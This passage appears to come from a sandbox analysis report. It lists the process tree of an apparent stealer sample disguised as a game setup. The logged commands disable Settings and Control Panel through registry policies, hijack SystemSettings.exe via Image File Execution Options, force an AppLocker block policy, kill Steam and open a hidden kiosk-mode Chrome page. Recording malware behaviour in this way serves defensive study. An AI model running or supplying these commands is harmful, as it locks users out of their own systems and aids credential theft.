        cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4836
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
        6⤵
        
        PID:1824
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2076
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f
        6⤵
        
        PID:4160
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq discord.exe" /FO CSV /NH
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:1368
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4520
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
        6⤵
        Blocks application from running via registry modification
        
        PID:4324
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3220
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f
        6⤵
        Blocks application from running via registry modification
        
        PID:5100
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2952
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f
        6⤵
        Blocks application from running via registry modification
        
        PID:4844
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1776
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
        6⤵
        
        PID:1676
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2580
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f
        6⤵
        
        PID:1196
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3716
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
        6⤵
        Blocks application from running via registry modification
        
        PID:4284
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5880
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f
        6⤵
        Blocks application from running via registry modification
        
        PID:1532
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5040
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 2 /t REG_SZ /d "SystemSettingsAdminFlows.exe" /f
        6⤵
        Blocks application from running via registry modification
        
        PID:2132
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5468
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4748
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5764
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettingsPage /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2040
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "taskkill /f /im SystemSettings.exe >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4380
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im SystemSettings.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1164
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "sc config AppIDSvc start= auto >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2484
      - C:\Windows\system32\sc.exe
        
        sc config AppIDSvc start= auto
        6⤵
        Launches sc.exe
        
        PID:4740
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:248
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f
        6⤵
        
        PID:4212
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "net start AppIDSvc >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4900
      - C:\Windows\system32\net.exe
        
        net start AppIDSvc
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start AppIDSvc
        7⤵
        
        PID:3824
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "sc start AppIDSvc >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:456
      - C:\Windows\system32\sc.exe
        
        sc start AppIDSvc
        6⤵
        Launches sc.exe
        
        PID:2416
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}""
        5⤵
        Hide Artifacts: Hidden Window
        Hide Artifacts: Ignore Process Interrupts
        Suspicious use of WriteProcessMemory
        
        PID:1488
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4360
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-AppLockerPolicy -XmlPolicy `"C:\\Users\\Admin\\AppData\\Local\\Temp\\applocker_block_2114010872504756402.xml`" -Merge -ErrorAction Stop; exit 0 } catch { exit 1 }""
        5⤵
        Hide Artifacts: Hidden Window
        Suspicious use of WriteProcessMemory
        
        PID:884
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3344
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-AppLockerPolicy -XmlPolicy `"C:\\Users\\Admin\\AppData\\Local\\Temp\\applocker_block_2114010872504756402.xml`" -Merge -ErrorAction Stop; exit 0 } catch { exit 1 }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2856
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe" /v EnforcementMode /t REG_DWORD /d 1 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4108
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe" /v EnforcementMode /t REG_DWORD /d 1 /f
        6⤵
        
        PID:1872
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1576
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
        6⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:4784
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4952
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
        6⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:2344
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        
        PID:4496
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4160
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\systray.exe" /f
        6⤵
        Event Triggered Execution: Image File Execution Options Injection
        
        PID:2264
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "sc config AppIDSvc start= auto >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        
        PID:2656
      - C:\Windows\system32\sc.exe
        
        sc config AppIDSvc start= auto
        6⤵
        Launches sc.exe
        
        PID:5056
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        
        PID:1944
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc" /v Start /t REG_DWORD /d 2 /f
        6⤵
        
        PID:2472
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "net start AppIDSvc >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        
        PID:3200
      - C:\Windows\system32\net.exe
        
        net start AppIDSvc
        6⤵
        
        PID:2996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start AppIDSvc
        7⤵
        
        PID:4008
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "sc start AppIDSvc >nul 2>&1"
        5⤵
        Executes a command shell one-liner
        
        PID:616
      - C:\Windows\system32\sc.exe
        
        sc start AppIDSvc
        6⤵
        Launches sc.exe
        
        PID:6008
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}""
        5⤵
        Hide Artifacts: Hidden Window
        Hide Artifacts: Ignore Process Interrupts
        
        PID:1056
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Set-Service -Name AppIDSvc -StartupType Automatic -ErrorAction Stop; Start-Service AppIDSvc -ErrorAction SilentlyContinue } catch {}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2524
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM steam.exe
        5⤵
        Kills process with taskkill
        
        PID:3112
    - - C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM steamwebhelper.exe
        5⤵
        Kills process with taskkill
        
        PID:1824
    - - C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq discord.exe" /FO CSV /NH
        5⤵
        Discovers running processes
        
        PID:3336
    - - C:\Windows\SYSTEM32\wscript.exe
        
        wscript.exe //B //Nologo C:\Users\Admin\AppData\Local\Temp\d1f89467.vbs
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:3544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --kiosk --app=file:/C:/Users/Admin/AppData/Local/Temp/exastealer4104260540228204872/beta-game-setup.html --disable-pinch --allow-file-access-from-files --disable-web-security --disable-translate --disable-infobars --no-first-run --no-default-browser-check --disable-dev-tools --noerrdialogs --disable-component-update --disable-background-networking --disable-sync --disable-features=Translate,ChromeWhatsNewUI,InProductHelp --hide-crash-restore-bubble --lang=en-US
        5⤵
        Drops file in Program Files directory
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:5488
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff899dfc728,0x7ff899dfc734,0x7ff899dfc740
        6⤵
        
        PID:256
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1520,i,12268047168493463084,9055337623747837488,524288 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:11
        6⤵
        System Time Discovery
        
        PID:1284
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --noerrdialogs --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1700,i,10531934407587252783,424867791313680066,262144 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:2
        6⤵
        
        PID:3836
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=2076,i,7850354510183951870,17040711667215604496,524288 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=2584 /prefetch:13
        6⤵
        
        PID:5068
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3252,i,18047465096819739807,11022360162286448819,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=3304 /prefetch:1
        6⤵
        
        PID:4360
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3256,i,2766525331371075104,10887835924203122454,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=3324 /prefetch:1
        6⤵
        
        PID:5368
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=5232,i,15537809397250305281,7578315356660635738,524288 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5228 /prefetch:14
        6⤵
        
        PID:2156
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5320,i,261307608514816714,10579514840810243414,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:1
        6⤵
        
        PID:5364
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5376,i,3087209475462143948,9756927775755790544,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:1
        6⤵
        
        PID:3112
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5308,i,10692294351104667976,13397915371710665536,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:1
        6⤵
        
        PID:5228
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5928,i,10648875630746467424,9484701893560078718,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:1
        6⤵
        
        PID:1300
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5848,i,7172068107383246304,10689914094973849598,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:1
        6⤵
        
        PID:3264
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5980,i,13049854638435924868,7687562131869759451,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:1
        6⤵
        
        PID:5172
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5656,i,2930407182343168473,7912949125815032652,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:1
        6⤵
        
        PID:1672
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5376,i,14614328780514563527,10836220075108727215,2097152 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:1
        6⤵
        
        PID:4148
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=6024,i,8836343480029592301,1082927057826538108,524288 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
        6⤵
        
        PID:4840
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=5936,i,8564181454458344532,7227455042714057064,524288 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:14
        6⤵
        
        PID:3452
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --force-high-res-timeticks=disabled --metrics-shmem-handle=6020,i,4896409561053590572,16011195524360222921,524288 --field-trial-handle=2552,i,12922021707220309506,2444154250932162014,262144 --disable-features=ChromeWhatsNewUI,InProductHelp,Translate --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
        6⤵
        
        PID:1784
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "IMAGENAME eq java.exe" /FO CSV /NH"
      4⤵
      Executes a command shell one-liner
      PID:2376
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq java.exe" /FO CSV /NH
        5⤵
        Discovers running processes
        
        PID:4768
- - C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\3Kn8AduEK10lYdDm96KOxsAEqPy\DemoInkbornSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --field-trial-handle=2060,i,2936374927574050133,17038859611154984367,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=2064,i,605205476633778395,7516099796180830245,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2092 /prefetch:11
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    PID:5408
